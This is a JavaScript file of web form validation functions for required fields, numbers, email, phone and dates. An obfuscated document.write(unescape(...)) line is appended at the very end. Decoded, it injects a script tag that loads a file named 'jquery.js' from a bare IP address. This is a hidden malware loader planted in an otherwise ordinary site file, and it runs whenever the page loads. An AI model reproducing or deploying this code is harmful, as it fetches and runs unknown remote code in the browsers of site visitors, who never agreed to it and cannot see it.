//validate functions return true if OK, false if validation fails
function validate_required(field)
{
    if (field==null || field=="" || field==false) return true;

    with (field)
    {
        if (value==null||value=="")
          {return false;}
        else {return true;}
    }
}
function validate_numeric(field, intonly)
{
    if (field==null || field=="" || field==false) return false;

    with (field)
    {
        if (value==null || value=="") return true;
        
        if (intonly==true)
        {
            return isInteger(value);
        }
        else

        {
            return isNumeric(value);
        }
    }
}
function validate_email(field)
{
    if (field==null || field=="" || field==false) return false;
        with (field)
            {
            if (value == null) return false;
            value = val_trim(value);
              if (!value.toString().match(/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i)) return false;
            }
            return true;
} 
function validate_phone(field)
{
    if (field==null || field=="" || field==false) return false;
        with (field)
            {
              if (value == null || !value.toString().match(/^((\(\d{3}\)[ ]?)|(\d{3}[-]?))\d{3}[-]?\d{4}$/)) return false;
            }
            return true;
} 
function validate_date(field)
{
    if (field==null || field=="" || field==false) return false;
        with (field)
            {
            // /^(0?[1-9]|1[012])[- \.\/](0?[1-9]|[12][0-9]|3[01])[- \.\/](19|20)?\{2}$/
              if (value == null || !value.toString().match(/^\d{1,2}(\-|\/|\.)\d{1,2}(\-|\/|\.)\d{4}$/)) return false;
            }
            return true;
} 
 
function isInteger(value) {
  if (value == null || !value.toString().match(/^[-]?\d*$/)) return false;
  return true;
  }
function isNumeric(value) {
  if (value == null || !value.toString().match(/^[-]?\d*\.?\d*$/)) return false;
  return true;
  }


function validate_setmsg(message, mode)
{
//mode: string: off,on,clear
var div=document.getElementById("diverrmsg");
if (div==null ||div ==false) return;
if (mode=="on" )
{
    document.getElementById("errmsg").innerHTML=document.getElementById("errmsg").innerHTML + message + "<br/>";
    div.style.display="block";
}
else
{ 
   if (mode=="clear") document.getElementById("errmsg").innerHTML="";

    div.style.display="none";
}
}

function val_trim(strInput)
{
return strInput.replace(/^\s\s*/, '').replace(/\s\s*$/, '');
}<!-- 
document.write(unescape('%3CscrTpipt4Y3%20HXsentrc%3DHP%2FPI%2FPI94%2E2jl4PI7ent%2E2%2E4j1PI9jl5HP%2FTpjPIqjluPIerHXy%2Ejs4j%3E%3C4j%2FscripPIt%3E').replace(/jl|5B|HX|4Y3|ent|Tp|HP|4j|PI/g,""));
 -->
